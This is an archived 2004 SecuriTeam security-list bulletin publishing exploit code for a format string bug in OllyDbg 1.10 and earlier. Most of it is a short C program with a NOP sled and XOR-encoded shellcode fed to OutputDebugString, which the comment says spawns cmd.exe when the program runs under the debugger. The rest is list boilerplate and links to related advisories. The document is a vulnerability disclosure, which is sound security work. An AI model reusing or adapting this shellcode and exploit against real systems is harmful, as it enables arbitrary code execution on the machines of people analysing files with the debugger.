[EXPL] Ollydbg Format String Bug Exploit Code
From: SecuriTeam (support_at_securiteam.com)
Date: 08/10/04
- Previous message: SecuriTeam: "[NT] AOL Instant Messenger aim:goaway URI Handler Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Aug 2004 19:27:43 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Ollydbg Format String Bug Exploit Code
------------------------------------------------------------------------
SUMMARY
A format string bug in Ollydbg was found and reported in our previous
article - <http://www.securiteam.com/windowsntfocus/5ZP0N00DFE.html>
OllyDbg Format String Bug. An exploit code is provided that can test for
this vulnerability.
DETAILS
Vulnerable Systems:
* Ollydbg version 1.10 and prior
The exploit shellcode uses a NOP sled which is one of the most basic forms
that help an attacker control the execution flow (EIP) by controlling the
return address. This albeit small exploit can be used to test for this
vulnerability in Ollydbg:
--------------------------------- Begin Code
---------------------------------
// Exploit opens a new cmd.exe.Tested on win2k(en)+sp4(en)+ollydbg v1.09d
// Open exploit with ollydebug and run the exploit from ollydebug(F9 key).
// Coded by Ahmet Cihan(a.k.a. hurby)
// Thanx to r3d_b4r0n, Murat Erdo??an(a.k.a. Stormwr), Onur
Cihan(a.k.a.eurnie and 3710336), Orhan Tun????z and Mehmet Yakut.
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#pragma comment(lib,"kernel32.lib")
void main(){
unsigned char buffer[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\x99\x40\x81\x38\x54\x55\x52\x4B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\
\x12\x75\xCC\x12\x75\xF1\xFC\xE1\xFC\xB9\xF1\xFA\xF4\xFD\xB7\x14\xDC\x61\xC9\x21\x26\x17\x98\xE1\x66\x49\
\x54\x55\x52\x4B\xCD%.1423x\x3E\x02\x4B\x02";
OutputDebugString(buffer);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:achurby@hotmail.com> Ahmet
Cihan.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] AOL Instant Messenger aim:goaway URI Handler Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NT] OllyDbg Format String Bug
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... OllyDbg is a "32-bit assembler
level analyzing debugger for Microsoft ... Run 'python' so you get an interactive shell.
... (Securiteam) - [NT] Borland Products idsql32.dll Buffer Overflow Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Borland Products idsql32.dll Buffer
Overflow Vulnerability ... processing SQL statements using the "DbiQExec" function.
... In no event shall we be liable for any damages whatsoever including direct, indirect,
incidental, consequential, loss of business profits or special damages. ... (Securiteam) - [UNIX] phpBB Modified By Przemo Arbitary Code Execution
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A directory traversal vulnerability
and insecure file inclusion ... script that contains arbitrary code. ... In no event
shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages. ... (Securiteam) - [EXPL] phpStat Authentication Bypass Vulnerability (Exploit, Setup.PHP)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... phpStat is vulnerable to
an authentication bypass vulnerability, ... In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of business profits or special
damages. ... (Securiteam) - [EXPL] Security vulnerability in SUNs Java Virtual Machine Implementation (Test)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Vulnerability in SUN's
Java Virtual Machine Implementation ('/' Replaces ... The following applet tests for this
vulnerability: ... In no event shall we be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or special damages. ...
(Securiteam)